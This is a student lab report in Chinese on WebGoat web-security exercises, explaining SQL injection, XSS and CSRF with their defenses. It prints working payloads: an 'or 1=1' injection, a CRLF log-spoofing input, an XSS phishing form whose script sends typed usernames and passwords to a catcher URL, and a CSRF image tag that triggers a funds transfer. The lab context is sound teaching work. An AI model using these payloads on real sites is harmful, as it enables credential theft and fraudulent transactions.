zoukankan      html  css  js  c++  java
  • 2018-2019-2 20162329 《网络对抗技术》Exp9: Web安全基础

    Exp9: Web安全基础

    一、基础知识

    1.SQL注入攻击

    • 基本原理:
      • 就是不法分子利用编程漏洞,通过表单输入特殊字符和恶意SQL代码,使得后台执行SQL查询时,对数据库产生不可预知或不可逆的攻击或破坏。
    • 防御方法:
      • 避免不必要的表单提交页面。
      • 对表单输入进行控制,如:限制字符类型,限制字符长度等
      • 在数据库层利用授权机制,限制数据库操作行为。

    2.XSS跨站脚本攻击

    • 基本原理:
      • 攻击者利用网站漏洞,将恶意脚本代码通过注入,或者其他方式发送或存储到服务器中,通过利用用户对于浏览器的信任,当正常用户访问该服务器时就会受到脚本攻击,例如获得该用户的cookie或其他信息等。
    • 防御方法:
      • 用户尽量不要保存自己在浏览器中输入的用户名和密码
      • 网站开发人员应该对用户上传的数据进行一定的过滤
      • 对输入表单进行控制

    3.CSRF跨站请求伪造

    • 基本原理:
      • 当用户访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个恶意网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。
    • 防御方法:
      • 验证请求中的Token
      • 验证Referer
      • 添加随机验证
      • 设定cookie域

    二、SQL注入

    1. 命令注入

    • 攻击过程:在表单提交中传入恶意命令数据,使其在服务器端执行。
    • 实验过程:
      • 在页面中点击鼠标右键,选择inspect Element
      • 按键盘f12查看网页源代码
      • 点击view按钮,执行代码结果如下:

    2. 数字注入

    • 攻击过程:在表单输入中输入数字生成永真式,使得注入的SQL语句必定可以执行。
    • 实验过程:
      • 在实验网页上查看源代码,对value='101'进行修改,添加or 1=1构成永真式,如图:
      • 点击按钮执行,结果如下:

    3. 日志欺骗

    • 攻击过程:不法分子通过在注入脚本,通过脚本修改日志文件。
    • 实验过程:
      • 在实验环境提供的表单中输入2329%0d%0aLogin Succeeded for username: 162329其中%0d%0a为回车符和换行符。
      • 结果如下图:

    三、XSS攻击

    1. XSS钓鱼攻击

    • 攻击过程:通过表单输入脚本,修改网页HTML,生成钓鱼网站,当用户输入时获取用户输入的信息。
    • 实验过程:
      • 在实验环境表单中输入脚本代码,构造钓鱼界面。
      • 界面代码如下:
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
    <script>
    function hack()
    { 
       alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
       XSSImage=new Image; 
       XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ";
    }
    </script>
    
    • 将以上代码输入搜索框中,点击搜索如图:
    • 当用户点击提交时攻击者界面会出现如下图:

    四、CSRF攻击

    1. 跨站请求伪造

    • 攻击过程:
      • 给用户发送一个恶意URL诱使其他用户点击,从而触发CSRF攻击。为了使用户更容易受骗,我们可以以图片的形式隐藏URL。
    • 实验过程:
      • 查看参数中src和menu值,为261和900
      • 在message框中输入<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>点击提交后结果如下:
      • 当用户点击Message字段中的图片时就会盗取用户2329元

    五、实验总结与体会

    通过本次实验真实的感受了什么是SQL注入,XSS攻击和CRSF攻击,在实验中了解了其中的流程,也自己总结了对这些攻击的防御方法,感觉受益匪浅。

  • 相关阅读:
    商贸通帐套隐藏方法
    固定资产打开提示:上年度数据未结转!
    ZOJ 2432 Greatest Common Increasing Subsequence
    POJ 1080 Human Gene Functions
    POJ 1088 滑雪
    POJ 1141 Brackets Sequence
    POJ 1050 To the Max
    HDOJ 1029 Ignatius and the Princess IV
    POJ 2247 Humble Numbers
    HDOJ 1181 变形课
  • 原文地址:https://www.cnblogs.com/Zhangxusheng/p/10926028.html
Copyright © 2011-2022 走看看